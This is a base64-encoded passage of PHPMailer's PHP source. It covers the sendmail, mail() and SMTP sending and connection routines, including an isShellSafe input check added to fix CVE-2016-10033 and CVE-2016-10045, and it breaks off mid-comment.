gICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgI